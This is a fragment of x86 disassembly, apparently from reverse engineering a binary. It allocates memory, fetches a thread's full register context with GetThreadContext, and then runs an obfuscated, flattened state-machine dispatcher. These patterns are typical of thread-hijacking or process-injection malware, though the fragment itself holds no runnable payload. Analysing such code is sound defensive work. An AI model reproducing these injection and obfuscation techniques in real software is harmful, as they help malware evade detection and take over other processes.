mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x138]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x20]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [ebp - 0x178], 0x70b6cd99
jmp 0x10004c87
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x178], 0xc5ce6e60
jmp 0x10004c87
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x178], 0xe7064e4
jmp 0x10004c87
mov eax, dword [ebp - 0x128]
mov eax, dword [ebp - 0x128]
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x178], 0xa2da9eee
jmp 0x10004c87
mov dword [ebp - 0x178], 0x334d4a7d
jmp 0x10004c87
mov eax, dword [ebp - 0x128]
mov ecx, dword [ebp - 0xb0]
mov dword [eax], ecx
mov dword [ebp - 0x178], 0xf2ec9e55
jmp 0x10004c87
mov dword [ebp - 0x178], 0x6f36ca59
jmp 0x10004c87
mov dword [ebp - 0x178], 0xc9c8bb5a
jmp 0x10002390